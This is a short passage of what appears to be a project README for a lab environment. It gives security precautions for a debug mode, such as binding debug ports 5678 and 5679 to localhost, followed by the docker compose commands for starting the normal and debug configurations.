- Keep debug ports bound to `127.0.0.1`.
- Do not expose `5678` or `5679` on a public interface.
- Do not run the debug overlay on shared or untrusted hosts.
- Use debug mode only while actively debugging.

- Return to normal mode for ordinary lab runs.

Normal mode command:

```
docker compose up --build -d
```

Debug mode command:

```
docker compose -f docker-compose.yml -f docker-compose.debug.yml up --build -d
```